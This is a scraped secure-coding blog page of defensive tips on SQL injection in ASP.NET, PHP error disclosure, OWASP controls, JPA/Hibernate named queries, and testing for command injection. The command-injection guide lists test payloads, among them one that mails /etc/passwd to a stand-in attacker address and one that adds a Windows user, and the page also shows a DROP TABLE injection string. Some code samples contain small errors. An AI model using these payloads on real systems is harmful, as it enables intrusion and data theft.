Welcome to our Secure Development Tips blog

Every other week, we provide expert tech tips on how to build and deploy secure applications.  These best practices, derived from Security Innovation’s assessments of the worlds’ most dominant software applications,  are taken directly from our TeamMentor product, which includes more than 3,500 guidance assets and articles on secure software design, coding and testing.    

Subscribe by Email

Your email:

Secure Development Tips

a blog with tips relating to secure application development, from Security Innovation's eknowledge database, TeamMentor

Current Articles | RSS Feed RSS Feed

How to Prevent SQL Injection in ASP.NET

  
  

Summary

This How to shows a number of ways to help protect your ASP.NET application from SQL injection attacks. SQL injection can occur when an application uses input to construct dynamic SQL statements or when it uses stored procedures to connect to the database. Conventional security measures, such as the use of SSL and IPsec, do not protect your application from SQL injection attacks. Successful SQL injection attacks enable malicious users to execute commands in an application's database.

Countermeasures include using a list of acceptable characters to constrain input, using parameterized SQL for data access, and using a least privileged account that has restricted permissions in the database. Using stored procedures with parameterized SQL is the recommended approach because SQL parameters are type safe. Type-safe SQL parameters can also be used with dynamic SQL. In situations where parameterized SQL cannot be used, consider using character escaping techniques.

Overview

A successful SQL injection attack enables a malicious user to execute commands in your application's database by using the privileges granted to your application's login. The problem is more severe if your application uses an over-privileged account to connect to the database. For example, if your application's login has privileges to eliminate a database, then without adequate safeguards, an attacker might be able to perform this operation.

Common vulnerabilities that make your data access code susceptible to SQL injection attacks include:

  • Weak input validation.
  • Dynamic construction of SQL statements without the use of type-safe parameters.
  • Use of over-privileged database logins.

Step 1. Constrain Input

You should validate all input to your ASP.NET applications for type, length, format, and range. By constraining the input used in your data access queries, you can protect your application from SQL injection.

Note: When constraining input, it is a good practice to create a list of acceptable characters and use regular expressions to reject any characters that are not on the list. The potential risk associated with using a list of unacceptable characters is that it is always possible to overlook an unacceptable character when defining the list; also, an unacceptable character can be represented in an alternate format to pass validation.

Constrain Input in ASP.NET Web Pages

Start by constraining input in the server-side code for your ASP.NET Web pages. Do not rely on client-side validation because it can be easily bypassed. Use client-side validation only to reduce round trips and to improve the user experience.

If you use server controls, use the ASP.NET validator controls, such as the RegularExpressionValidator and RangeValidator controls to constrain input. If you use regular HTML input controls, use the Regex class in your server-side code to constrain input.

If in the previous code example, the SSN value is captured by an ASP.NET TextBox control, you can constrain its input by using a RegularExpressionValidator control as shown in the following.

<%@ language="C#" %>
<form id="form1" runat="server">
    <asp:TextBox ID="SSN" runat="server"/>
    <asp:RegularExpressionValidator ID="regexpSSN" runat="server"        
         ErrorMessage="Incorrect SSN Number"
         ControlToValidate="SSN"        
         ValidationExpression="^\d{3}-\d{2}-\d{4}$" />
</form>

If the SSN input is from another source, such as an HTML control, a query string parameter, or a cookie, you can constrain it by using the Regex class from the System.Text.RegularExpressions namespace. The following example assumes that the input is obtained from a cookie.

using System.Text.RegularExpressions;

if (Regex.IsMatch(Request.Cookies["SSN"], "^\d{3}-\d{2}-\d{4}$"))
{
    // access the database
}
else
{
    // handle the bad input
}

Constrain Input in Data Access Code

In some situations, you need to provide validation in your data access code, perhaps in addition to your ASP.NET page-level validation. Two common situations where you need to provide validation in your data access code are:

  • Untrusted clients. If the data can come from an untrusted source or you cannot guarantee how well the data has been validated and constrained, add validation logic that constrains input to your data access routines.
  • Library code. If your data access code is packaged as a library designed for use by multiple applications, your data access code should perform its own validation, because you can make no safe assumptions about the client applications.

The following example shows how a data access routine can validate its input parameters by using regular expressions prior to using the parameters in a SQL statement.

using System;
using System.Text.RegularExpressions;

public void CreateNewUserAccount(string name, string password)
{
    // Check name contains only lower case or upper case letters,
    // the apostrophe, a dot, or white space. Also check it is
    // between 1 and 40 characters long
    if ( !Regex.IsMatch(userIDTxt.Text, @"^[a-zA-Z'./s]{1,40}$"))
      throw new FormatException("Invalid name format");

 

    // Check password contains at least one digit, one lower case
    // letter, one uppercase letter, and is between 8 and 10
    // characters long
    if ( !Regex.IsMatch(passwordTxt.Text,
                      @"^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$" ))
      throw new FormatException("Invalid password format");

 

    // Perform data access logic (using type safe parameters)
    ...
}

Step 2. Use Parameters with Stored Procedures

Using stored procedures does not necessarily prevent SQL injection. The important thing to do is use parameters with stored procedures. If you do not use parameters, your stored procedures can be susceptible to SQL injection if they use unfiltered input as described in the "Overview" section of this document.

The following code shows how to use SqlParameterCollection when calling a stored procedure.

using System.Data;
using System.Data.SqlClient;

using (SqlConnection connection = new SqlConnection(connectionString))
{
  DataSet userDataset = new DataSet();
  SqlDataAdapter myCommand = new SqlDataAdapter(
             "LoginStoredProcedure", connection);
  myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
  myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11);
  myCommand.SelectCommand.Parameters["@au_id"].Value = SSN.Text;

  myCommand.Fill(userDataset);
}

In this case, the @au_id parameter is treated as a literal value and not as executable code. Also, the parameter is checked for type and length. In the preceding code example, the input value cannot be longer than 11 characters. If the data does not conform to the type or length defined by the parameter, the SqlParameter class throws an exception.

Review Your Application's Use of Parameterized Stored Procedures

Because using stored procedures with parameters does not necessarily prevent SQL injection, you should review your application's use of this type of stored procedure. For example, the following parameterized stored procedure has several security vulnerabilities.

CREATE PROCEDURE dbo.RunQuery
@var ntext
AS
exec sp_executesql @var
GO 

An application that uses a stored procedure similar to the one in the preceding code example has the following vulnerabilities:

  • The stored procedure executes whatever statement is passed to it. Consider the @var variable being set to:

DROP TABLE ORDERS;

In this case, the ORDERS table will be dropped.

  • The stored procedure runs with dbo privileges.
  • The stored procedure's name (RunQuery) is a poor choice. If an attacker is able to probe the database, he or she will see the name of the stored procedure. With a name like RunQuery, he can guess that the stored procedure is likely to run the supplied query.

Step 3. Use Parameters with Dynamic SQL

If you cannot use stored procedures, you should still use parameters when constructing dynamic SQL statements. The following code shows how to use SqlParametersCollection with dynamic SQL.

using System.Data;
using System.Data.SqlClient;

using (SqlConnection connection = new SqlConnection(connectionString))
{
  DataSet userDataset = new DataSet();
  SqlDataAdapter myDataAdapter = new SqlDataAdapter(
         "SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id",
         connection);               
  myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11);
  myCommand.SelectCommand.Parameters["@au_id"].Value = SSN.Text;
  myDataAdapter.Fill(userDataset);
}

Using Parameter Batching

A common misconception is that if you concatenate several SQL statements to send a batch of statements to the server in a single round trip, you cannot use parameters. However, you can use this technique if you make sure that parameter names are not repeated. You can easily do this by making sure that you use unique parameter names during SQL text concatenation, as shown here.

using System.Data;
using System.Data.SqlClient;
. . .
using (SqlConnection connection = new SqlConnection(connectionString))
{
  SqlDataAdapter dataAdapter = new SqlDataAdapter(
       "SELECT CustomerID INTO #Temp1 FROM Customers " +
       "WHERE CustomerID > @custIDParm; SELECT CompanyName FROM Customers " +
       "WHERE Country = @countryParm and CustomerID IN " +
       "(SELECT CustomerID FROM #Temp1);",
       connection);
  SqlParameter custIDParm = dataAdapter.SelectCommand.Parameters.Add(
                                          "@custIDParm", SqlDbType.NChar, 5);
  custIDParm.Value = customerID.Text;

  SqlParameter countryParm = dataAdapter.SelectCommand.Parameters.Add(
                                      "@countryParm", SqlDbType.NVarChar, 15);
  countryParm.Value = country.Text;

  connection.Open();
  DataSet dataSet = new DataSet();
  dataAdapter.Fill(dataSet);
}
. . .

Additional Considerations

Other things to consider when you develop countermeasures to prevent SQL injection include:

  • Use escape routines to handle special input characters.
  • Use a least-privileged database account.
  • Avoid disclosing error information.

Use Escape Routines to Handle Special Input Characters

In situations where parameterized SQL cannot be used and you are forced to use dynamic SQL instead, you need to safeguard against input characters that have special meaning to SQL Server (such as the single quote character). If not handled, special characters such as the single quote character in the input can be utilized to cause SQL injection.

Note: Special input characters pose a threat only with dynamic SQL and not when using parameterized SQL.

Escape routines add an escape character to characters that have special meaning to SQL Server, thereby making them harmless. This is illustrated in the following code fragment:

private string SafeSqlLiteral(string inputSQL)
{
return inputSQL.Replace("'", "''");
}

Use a Least-Privileged Database Account

Your application should connect to the database by using a least-privileged account. If you use Windows authentication to connect, the Windows account should be least-privileged from an operating system perspective and should have limited privileges and limited ability to access Windows resources. Additionally, whether or not you use Windows authentication or SQL authentication, the corresponding SQL Server login should be restricted by permissions in the database.

Consider the example of an ASP.NET application running on Microsoft Windows Server 2003 that accesses a database on a different server in the same domain. By default, the ASP.NET application runs in an application pool that runs under the Network Service account. This account is a least privileged account.

To access SQL Server with the Network Service account

  1. Create a SQL Server login for the Web server's Network Service account. The Network Service account has network credentials that are presented at the database server as the identity DOMAIN\WEBSERVERNAME$. For example, if your domain is called XYZ and the Web server is called 123, you create a database login for XYZ\123$.
  2. Grant the new login access to the required database by creating a database user and adding the user to a database role.
  3. Establish permissions to let this database role call the required stored procedures or access the required tables in the database. Only grant access to stored procedures the application needs to use, and only grant sufficient access to tables based on the application's minimum requirements.

For example, if the ASP.NET application only performs database lookups and does not update any data, you only need to grant read access to the tables. This limits the damage that an attacker can cause if the attacker succeeds in a SQL injection attack.

Avoid Disclosing Error Information

Use structured exception handling to catch errors and prevent them from propagating back to the client. Log detailed error information locally, but return limited error details to the client.

If errors occur while the user is connecting to the database, be sure that you provide only limited information about the nature of the error to the user. If you disclose information related to data access and database errors, you could provide a malicious user with useful information that he or she can use to compromise your database security. Attackers use the information in detailed error messages to help deconstruct a SQL query that they are trying to inject with malicious code. A detailed error message may reveal valuable information such as the connection string, SQL server name, or table and database naming conventions.


Adapted from Microsoft patterns & practices guidance.

Prevent Disclosure of SQL Errors in PHP

  
  

Applies to

  • PHP

What to Do

Do not show SQL error messages.

Why

SQL error messages should not be displayed to prevent disclosing information about the database to potential attackers.

How

To prevent displaying SQL error messages:

1. Identify the database extraction layer(s) used by the application.

Review the application to identify what database engine(s) and abstraction layer(s) are used.

2. Identify whether SQL error messages are displayed.

Search application code for calls to functions that may disclose SQL errors. Examine such code to see if it may result in SQL error messages being displayed. A list of common database engines and database abstraction layers and the corresponding functions that may disclose errors is below:

  • DBA: uses php's built in error handler.
  • PDO: throws a PDOException
  • odbc: odbc_error() and odbc_errormsg()
  • Postgres: pg_last_error(), pg_result_error_field(), pg_result_error()
  • SQLite3: SQLite3::lastErrorCode, SQLite3::lastErrorMsg
  • SQLite: sqlite_error_string(), sqlite_last_error()
  • SQLSRV: sqlsrv_errors()
  • mssql: mssql_get_last_message()
  • mysqli: mysqli_connect_errno(), mysqli_connect_error(), mysqli_errno(), mysqli_error(), $mysqli->connect_errno, $mysqli->connect_error, $myssqli->errno, $mysqli->error
  • mysql: mysql_error(), mysql_errno()

3. Remove code that displays SQL error messages.

Remove all calls to functions that may disclose SQL error messages or remove the code that displays those error messages.

Additional Resources

 

Web Application Security Controls Based on the OWASP Top 10 Recommendations

  
  
The following list is the summary of the recommended controls in the OWASP Top 10 2010 document. OWASP has become the de-facto international standard body in the field of Web Application Security. The recommendations below are then the state of the art for Web Application Security. Following these guidelines should improve the overall security posture of most Web Applications.

01. Prevent Injection Vulnerabilities

+ Use Parameterized APIs for Data Access
+ Use Positive Input Validation
+ Avoid Using Command Interpreters
+ Escape Special Characters, If Parameterized APIs Are Not Available
https://www.owasp.org/index.php/Top_10_2010-A1
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet


02. Prevent XSS Vulnerabilities

+ Escape All Untrusted Data in HTML Contexts
+ Use Positive Input Validation
https://www.owasp.org/index.php/Top_10_2010-A2
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet


03. Secure Authentication and Session Management Functionality

+ Centralize Authentication and Session Management Controls
+ Protect Session IDs from XSS
https://www.owasp.org/index.php/Top_10_2010-A3
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet


04. Prevent Insecure Direct Object Reference Vulnerabilities

+ Use Per-User or Per-Session Indirect Object References
+ [OR] Check Access Control Permissions Whenever Performing Direct Object References
+ Disable Directory Browsing
https://www.owasp.org/index.php/Top_10_2010-A4


05. Prevent Cross-Site Request Forgery Vulnerabilities

+ Include Unique Tokens in HTTP Requests
https://www.owasp.org/index.php/Top_10_2010-A5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet


06. Prevent Security Misconfiguration Vulnerabilities

+ Establish A Repeatable Hardening Process
+ Keep Up with Security Updates
+ Design a Strong Application Architecture
+ Run Scans and Perform Audits
https://www.owasp.org/index.php/Top_10_2010-A6
https://www.owasp.org/index.php/Security_Architecture_Cheat_Sheet


07. Prevent Insecure Cryptographic Storage Vulnerabilities

+ Consider the Threats You Plan to Protect Data from
+ Encrypt Off-site Backups
+ Ensure Strong Algorithms Are Used
+ Hash and Salt Passwords
+ Protect Keys and Passwords
https://www.owasp.org/index.php/Top_10_2010-A7
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet


08. Prevent Failure to Restrict URL Access Vulnerabilities

+ Require Authentication and Authorization for Each Sensitive Page
+ Use Role-based Authentication and Authorization
+ Make Authentication and Authorization Policies Configurable
+ Deny All Access by Default
https://www.owasp.org/index.php/Top_10_2010-A8


09. Prevent Insufficient Transport Layer Protection Vulnerabilities

+ Enable SSL
+ Use SSL for All Sensitive Pages
+ Set the Secure Flag on All Sensitive Cookies
+ Use Only Strong SSL Algorithms
+ Use Valid SSL Certificates
+ Secure Backend Connections
https://www.owasp.org/index.php/Top_10_2010-A9
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet


10. Prevent Unvalidated Redirects and Forwards Vulnerabilities

+ Don't Use Redirects or Forwards, If Possible
+ Don't Use User Input for Calculating Destinations of Redirects or Forwards
+ Use Mapping Values When Calculating Destinations of Redirects or Forwards
https://www.owasp.org/index.php/Top_10_2010-A10


A-1. Authentication Requirements

+ Require Authentication for All Private Pages
+ All Password Fields Are Masked
+ Lock Accounts After Multiple Failed Authentication Attempts
+ Use Server-side Authentication
+ Centralize All Authentication Controls
+ Make Sure Authentication Controls Fail Securely
+ Require Strong Authentication Credentials
+ Secure the Account Management Functions
+ Secure the Credential (Password) Changing Functions
+ Require Re-authentication for Sensitive Operations
+ Force Authentication Credentials to Expire
+ Log Authentication Events
+ Hash and Salt Passwords
+ Protect Authentication Credentials for External Resources
http://code.google.com/p/owasp-asvs/wiki/Verification_V2


A-2. Session Management Requirements

+ Use Session Management Offered by the Framework
+ Invalidate Sessions when Users Log Out
+ Make Inactive Sessions Time-out
+ Make Sessions Time-out
+ Place Logout Links on All Pages that Require Authentication
+ Protect Session IDs
+ Change Session IDs on Login
+ Change Session IDs on Reauthentication
+ Change Session IDs on Logout
+ Reject Invalid Session IDs
+ Use Strong Session IDs
+ Set the Domain and Path Values of Session Cookies
http://code.google.com/p/owasp-asvs/wiki/Verification_V3

Use Named Queries with Java Persistence API (JPA)

  
  

Applies to

Java web-based applications using JPA.

Summary

Executing Named Queries using JPA.

Objectives

Use JPA named queries to perform database operations safely.

Scenarios

JPA named queries provide a data access and manipulation mechanism that closely ties the query content to the Java code defining the objects that the query is executing against. It also removes the actual query language from Java code, which is a common tactic and creates certain maintainability issues. A security related advantage to named queries is that dynamic data must be bound, which prevents SQL injection attacks. The code below shows how to both define and use named queries in JPA.

Solution Example

1. Define your entity class and use the @NamedQuery (or @NamedQueries with multiple @NamedQuery's) annotation to define each named query. The examples below are straightforward.

@Entity

@NamedQuery(

name="Product.findAllProductsByProductName",

queryString="SELECT pro FROM Product pro WHERE pro.name = :productName"

)

 

public class Product {

...

}

 

@Entity

@NamedQueries({

@NamedQuery(name="Product.findAllProducts", queryString="SELECT pro FROM Product pro"),

@NamedQuery(name="Product.findAllProductsByProductId", queryString="SELECT pro FROM Product pro WHERE pro.id = :productId"),

@NamedQuery(name="Product.findAllProductsByProductName", queryString="SELECT pro FROM Product pro WHERE pro.name = :productName"),

@NamedQuery(name="Product.findAllProductsByProductPrice", queryString="SELECT pro FROM Product pro WHERE pro.price between :minPrice and :maxPrice")

})

 

public class Product {

...

}

2. Use the defined named queries in code. If there is a need for dynamic data, use the parameter binding mechanism included in the query implementation.

--------------------------

Untyped results example

--------------------------

//get dynamic data

//request parameters should be validated before use - this is a simple example

String productName = request.getParameter("product_name");

//use entity manager to retrieve named query

Query queryProductsByName = em.createNamedQuery("Product.findAllProductsByProductName");

//set dynamic data for query

queryProductsByName.setParameter("productName", productName);

//execute query and get results

Collection products = queryProductsByName.getResultList();

--------------------------

Typed results example

--------------------------

//get dynamic data

//request parameters should be validated before use - this is a simple example

String productName = request.getParameter("product_name");

//use entity manager to retrieve named query

TypedQuery<Product> queryProductsByName = em.createNamedQuery("Product.findAllProductsByProductName", Product.class);

//set dynamic data for query

queryProductsByName.setParameter("productName", productName);

//execute query and get results

List<Product> products = queryProductsByName.getResultList();

--------------------------

Example without using dynamic data

--------------------------

//use entity manager to retrieve named query

TypedQuery<Product> queryProducts = em.createNamedQuery("Product.findAllProducts", Product.class);

//execute query and get results

List<Product> products = queryProducts.getResultList();

The examples above show how to use named queries within JPA to create an environment where the queries are defined closely with the data they are operating against and that are safely used by requiring bound parameters for dynamic data. The use of other types of queries works in an identical manner, such as delete, update, insert, etc.

See Also

Links to API references and other useful links.

http://download.oracle.com/docs/cd/B31017_01/web.1013/b28221/ent30qry001.htm

http://openjpa.apache.org/builds/1.0.2/apache-openjpa-1.0.2/docs/manual/jpa_overview_query.html#jpa_overview_query_named

http://www.oracle.com/technetwork/articles/javaee/jpa-137156.html

Use Named Queries with Hibernate

  
  

Applies to

Java web-based applications using Hibernate

Summary

Executing Named Queries using Hibernate.

Objectives

Use Hibernate named queries to perform database operations safely.

Scenarios

HibernateHibernate named queries provide a data access and manipulation mechanism that closely ties the query content to the Java code defining the objects that the query is executing against. It also removes the actual query language from Java code, which is a common tactic and creates certain maintainability issues. A security related advantage to named queries is that dynamic data must be bound, which prevents SQL injection attacks. The code below shows how to both define and use named queries in Hibernate.

Solution Example

1a. Define your entity class and use the @NamedQuery (or @NamedQueries with multiple @NamedQuery's) annotation to define each named query. The examples below are straightforward.

@Entity

@NamedQuery(

name="Product.findAllProductsByProductName",

queryString="from Product pro WHERE pro.name = :productName"

)

 

public class Product {

...

}

 

@Entity

@NamedQueries({

@NamedQuery(name="Product.findAllProducts", queryString="from Product pro"),

@NamedQuery(name="Product.findAllProductsByProductId", queryString="from Product pro where pro.id = :productId"),

@NamedQuery(name="Product.findAllProductsByProductName", queryString="from Product pro where pro.name = :productName"),

@NamedQuery(name="Product.findAllProductsByProductPrice", queryString="from Product pro where pro.price between :minPrice and :maxPrice")

})

 

public class Product {

...

}

1b. An alternative to using the Entity and NamedQuery annotations is to define the named queries in the hibernate XML configuration mapping files. An example is below.

<!-- product.hbm.xml -->

<hibernate-mapping>

<class name="com.myapp.domain.Product" table="Product">

<id ...>

<property ...>

<property ...>

<property ...>

...

</class>

<query name="Product.findAllProductsByProductName">

<![CDATA[from Product pro where pro.name = :productName]]>

</query>

<query name="Product.findAllProductsByProductPrice">

<![CDATA[from Product pro where pro.price between :minPrice and :maxPrice]]>

</query>

....

</hibernate-mapping>

2. Use the defined named queries in code. If there is a need for dynamic data, use the parameter binding mechanism included in the query implementation.

--------------------------

Example using dynamic data

--------------------------

//get hibernate session

Session session = ...;

//get dynamic data

//request parameters should be validated before use - this is a simple example

String productName = request.getParameter("product_name");

//use entity manager to retrieve named query

Query queryProductsByName = session.createNamedQuery("Product.findAllProductsByProductName");

//set dynamic data for query

queryProductsByName.setString("productName", productName);

//execute query and get results

List products = queryProductsByName.list();

--------------------------

Example without using dynamic data

--------------------------

//get hibernate session

Session session = ...;

//use entity manager to retrieve named query

Query queryProducts = session.createNamedQuery("Product.findAllProducts", Product.class);

//execute query and get results

List products = queryProducts.list();

The examples above show how to use named queries within Hibernate to create an environment where the queries are defined closely with the data they are operating against and that are safely used by requiring bound parameters for dynamic data. The use of other types of queries works in an identical manner, such as delete, update, insert, etc.

See Also

Links to API references and other useful links.

http://www.javalobby.org/java/forums/m91885316.html

http://www.mkyong.com/hibernate/hibernate-named-query-examples/

http://docs.jboss.org/hibernate/core/3.3/reference/en/html/queryhql.html

How to Test for Command Injection

  
  

 Summary

Command injection vulnerabilities are particularly dangerous as they allow unauthorized execution of operating system commands. They exist because applications fail to properly validate and sanitize the parameters they use when invoking shell functions such as system() or exec() to execute system commands. Attackers with control of these parameters can trick the application into executing any system command of their choice.

For example, a UNIX application lists the contents of a folder using the ls command. It takes the string folder_name from the user and, without any validation, concatenates it to "ls" to build the actual command. The application then passes the command ("ls folder_name") to the system() function and grabs the results. A command injection bug allows an attacker to inject an additional command in the input string folder_name. As a result the application is tricked into executing the attacker’s additional command.

In order to properly test for command injection vulnerabilities, the following steps should be followed:

  • Step 1: Understand Attack Scenarios
  • Step 2: Analyze Causes and Countermeasures
  • Step 3: Start Testing and Exploring
  • Step 4: Fine-tune Test Cases

 

Step 1: Understand Attack Scenarios

The first step in testing for command injection vulnerabilities is to understand their attack scenarios. There are two common types on command injection bugs:

  • Direct command injection.
  • Indirect command injection.

 

Scenario 1: Direct Command injection

The most basic form of command injection consists of directly supplying the additional command to the vulnerable application. First the attacker discovers that the application invokes a system command by directly passing user supplied data as arguments to the command. Then the attacker supplies the malicious command as part of the expected arguments. The application executes the original command and then the malicious one.

In detail:

  1. Attacker discovers that application uses client input to execute a command.
  2. Attacker supplies malicious command as part of the client input.
  3. Attacker observes application executing additional command.

 

Scenario 2: Indirect Command injection

This case of command injection consists of indirectly supplying the additional command to the vulnerable application possibly through a file or an environment variable. First the attacker deducts that the application invokes a system command using data from an external source such as a file or an environment variable. The attacker then modifies the contents of the external source to add a malicious command. Then the attacker waits or forces the application to execute the malicious command along with the original one.

In detail:

  1. Attacker discovers that application uses data stored in an external source to execute a command.
  2. Attacker edits the external source to include malicious command.
  3. Attacker waits until the application executes the original command (or attacker attempts to bring the application to a state in which it will execute the command supplied).
  4. Attacker verifies that the application executes the injected command.

 

Step 2: Analyze Causes and Countermeasures

During this step you will understand the cause of command injection bugs as well as common defenses. This will help you look for bugs in code and recognize safe coding practices.

 

Command Injection Causes

There is one single cause for command injection bugs: poor input validation. Any application that builds command strings using non-sanitized data is vulnerable to this bug. . The following code snippets demonstrate command injection vulnerabilities. This PHP code running in Windows uses the input supplied by a text box in a form and invokes the exec function to type the file:

<?php

$command = 'type ' . $_POST['username'];
exec($command, $res);

for ($i = 0; $i < sizeof($res); $i++)
echo $res[$i].'<br>';

?>

A user can supply the following string to see the list of active connections in the server:

 

file.txt|netstat -ano

 

The following example in C++ (courtesy of OWASP [i]) runs in a POSIX compliant environment such as a Unix variant. It uses input supplied by the command line to system and runs the cat command:

 

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);

}

A user can supply the following string to list the contents of the see the contents of the server’s current directory:

file.txt;ls 

The code snippets above use two different functions that interact with the shell named exec() and system(). The following list compiles popular functions attacked during command injection:

Function
Language
system, execlp,execvp, ShellExecute, _wsystem
C/C++
Runtime.exec
Java
exec, eval
PHP
exec, open, eval, 
Perl
exec, eval, execfile, input
Python
Shell, ShellExecuteForExplore, ShellExecute
VB
 

Command Injection Countermeasures

Applications defend against command injection bugs by doing proper input validation and sanitization. Developers must look for all instances where the application invokes a shell-like system function such as exec or system and avoid executing them unless the parameters have been properly validated and sanitized. There are two possible ways to validate these parameters: using black lists or using white lists.

Black lists check for malicious patterns before allowing execution. In case of command injection, a black list might contain command delimiters such as a semicolon (;)vertical dash (|), double dash (||), double amp (&&) as well as dangerous commands such as rm, cp, cat, ls, at, net, netstat, del, copy, etc. However, a major drawback impedes this countermeasure from being effective; unless the black list covers absolutely all dangerous possibilities, the adversary can find a variation outside of the black list to carry an attack.  

White lists match against safe execution patterns. If the data in question doesn’t match any of the safe patterns it is disallowed. This solves the problem of new variations of dangerous constructs since any new (malicious) construct that doesn’t match a safe one is automatically blocked. A common way to implement white lists is to match the input against a regular expression that indicates the safe format for the command. However, regular expressions can be complex to write and interpret. Developers must make sure they understand well how to write and interpret regular expressions before implementing this defense.

 

Step 3: Start Testing and Exploring

During this step you will start testing your application with basic command injection strings and observing how the application reacts.

Start with a simple test string 

First, you need to find all the places where your application invokes a system command to perform and operation. Then on each of these places, start exploring how the application handles the basic characters needed for command injection. The following two strings are good to try as they contain both commands and command injection characters:

abc;dir C:|xyz&netstat       (Windows)
abc;ls|cp&rm                 (UNIX)

If the application doesn’t give an error message because of the special characters then there is a chance that it suffers from a command injection bug.

 

Build a valid command 

It is important that you are able to comprehend. For example, a file not found error rather than an invalid data format error is a good hint that the application is processing the special characters as part of the file. For example, you might get a file not found error when using the following string:

file.txt|dir c: 

This is because the application is calling exec() with the following string:

cmd /c type "c:\public_html\user_files\file.txt|dir c:"  

For the input string to execute the directory listing command you need to close the double quotes before appending the extra command:

file.txt"|dir c:

Pay extra attention to quotes and double quotes since omitting them can easily result in the injection string treated as data.

Sometimes the application doesn’t reflect the output of the injected command on screen. To get around this, use a command that doesn’t create screen output but that performs a visible action:

file.txt;mail attacker@attacker.org </etc/passwd
 
Emails attacker the server’s passwords.
file.txt|net user /add "hacker"
 
Adds hacker to the Windows user database.
file.txt;ping%20attacker_site
Pings the attacker site.
 

Step 4: Fine-tune Test Case Data

To thoroughly test your application against command injection bugs, you must cover all possible entry points and scenarios where command injection is possible.

Try different entry points and scenarios

Continue exploring the different entry points of the application. The format of the test case data will vary depending on the entry point. For example if you are testing through the URL the string file.txt"|dir c: might look like one of the two below (depending on the URL encoding):

  • file.txt"|dir%20c: 
  • file.txt"|dir+c: 

It is important that you consider different encodings and data format for additional command injection entry points such as: input fields, URL parameters, POST data, web service methods, user interface elements, environment variables, database contents, registry contents, file contents, third party APIs, and network packets.

When testing for indirect command injection it is important that you control the source of the parameters passed to the target function.  For example, if you are attacking an application using execfile as the target function then you must control the file passed to this function. Let’s say the application uses execfile /private/commands.txt. Here you don’t need to pass any malicious parameters; you must modify the commands file to inject malicious commands and wait for (or force) the injected command to execute. It is recommended that, when testing for indirect injection, you use an environment monitoring tool. You can use Sysinternals Process Explorer that now combines registry, file system, and environment variable monitoring to find out the external sources your application uses when invoking shell or system commands.

Conclusions

Command injection bugs exist because of poor input validation and sanitization on the parameters used by functions that interact with the operating system shell. Any attacker with control of these parameters can force the application to execute unwanted system commands. Testing against command injection bugs consists of manipulating the original command parameters with different combinations of command injection strings that vary depending on the action to perform and the entry point under test.


[i] Command Injection. OWASP. http://www.owasp.org/index.php/Command_Injection

Validate All Input Passed to the Database

  
  

What to Do

Validate all input before it is passed to the database.

Why

Unvalidated input can lead to persistent cross-site scripting, SQL injection, and other vulnerabilities which would allow an attacker to gain unauthorized access to sensitive data.

When

If your application uses a backend database server.

How

To properly validate input passed to database:

  1. Identify application inputs. Potential sources of input include:

    • URL based parameters
    • Form based parameters
    • Hidden fields
    • Cookies
    • Local filesystem
    • Javascript variables
  2. Identify database entry points. Find all the locations in the system where data is pushed into the database, either directly via queries, or indirectly (via log entries, etc). Trace all database entry points to find all the paths which can contain external input.

  3. Create a set of validators. Build a set of validators that work with the data in question and fit into the system architecture, including your general validation scheme for other data and the way the system interacts with the database. Using the Validate Input for Length, Range, Format, and Type guideline, determine the appropriate validation at each validator. Centralize the validators as it helps strengthen your code by limiting the amount of scattered validation code throughout the system, and allows for easy auditing. Place the validators along the database input paths, ideally as close to the initial data input as possible. All data should pass through the validators before breing transmitted to the database servers.

  4. Use Type-Safe parameters in SQL statements. Stored procedures and Parameterized queries improve your application's robustness against SQL injection based attacks. Consult the guideline Use Type Safe SQL Parameters When Constructing SQL Queries.

  5. Audit your entry paths. Before going into production, have a reviewer who was not responsible for the development of the code in question check all the input paths to ensure that the validators are correctly implemented, that they are correctly applied, and that all input paths are checked.

Validate InputProblem Example

The following code validates the user based on a given username and password. It hashes the password with a random salt. Then it compares the username and the produced hash against the data stored in the backend database. Unfortunately, the SQL query is dynamically crafted by using the user's input. If there is no proper input validation, an attacker can access the application's database server through the use of SQL injection.

public boolean validateUser(String user, char[] pass)
{
byte[] salt = MyApp.generateSalt();
String passHash;
SqlConnection cn;
SqlCommand sqlCommand;
String query;
passHash = hashCredentials(pass, salt);
// The application crafts the SQL query based on user's input
cn = MyApp.getDBConnection();
sqlCommand = new SqlCommand("select user from myappUsers where user = \""

+ user + "\" and pass = \"" + passHash + "\" and login_attempts < 3;", cn);
SqlDataReader reader = sqlCommand.ExecuteReader();
updateLastLoginAttempt(user);
...
}

If a user submits a login request with a username of 'foo\" or 1 = 1; drop table *; --', the system will happily first authenticate the user and then drop all the tables in the database.

Solution Example

The following code validates the user based on a given username and password. It hashes the password with a random salt. Then it compares the username and the produced hash against the data stored in the backend database. Because the application uses the Parameters property, it is much more difficult for an attacker to gain access to the application's database server through the use of SQL injection.

public boolean validateUser(String user, char[] pass)
{
byte[] salt = MyApp.generateSalt();
String passHash;
SqlConnection cn;
SqlCommand sqlCommand;
String query;
passHash = hashCredentials(pass, salt);
// The application crafts the SQL query based on user's input
cn = MyApp.getDBConnection();
sqlCommand = new SqlCommand("select user from myappUsers where user = @user and
+ pass = @passHash and login_attempts < 3;", cn);
sqlCommand.Parameters.Add("@user", SqlDbType.VarChar, user.Length).Value = user;
sqlCommand.Parameters.Add("@passHash ", SqlDbType.VarChar, passHash.Length).Value = passHash;
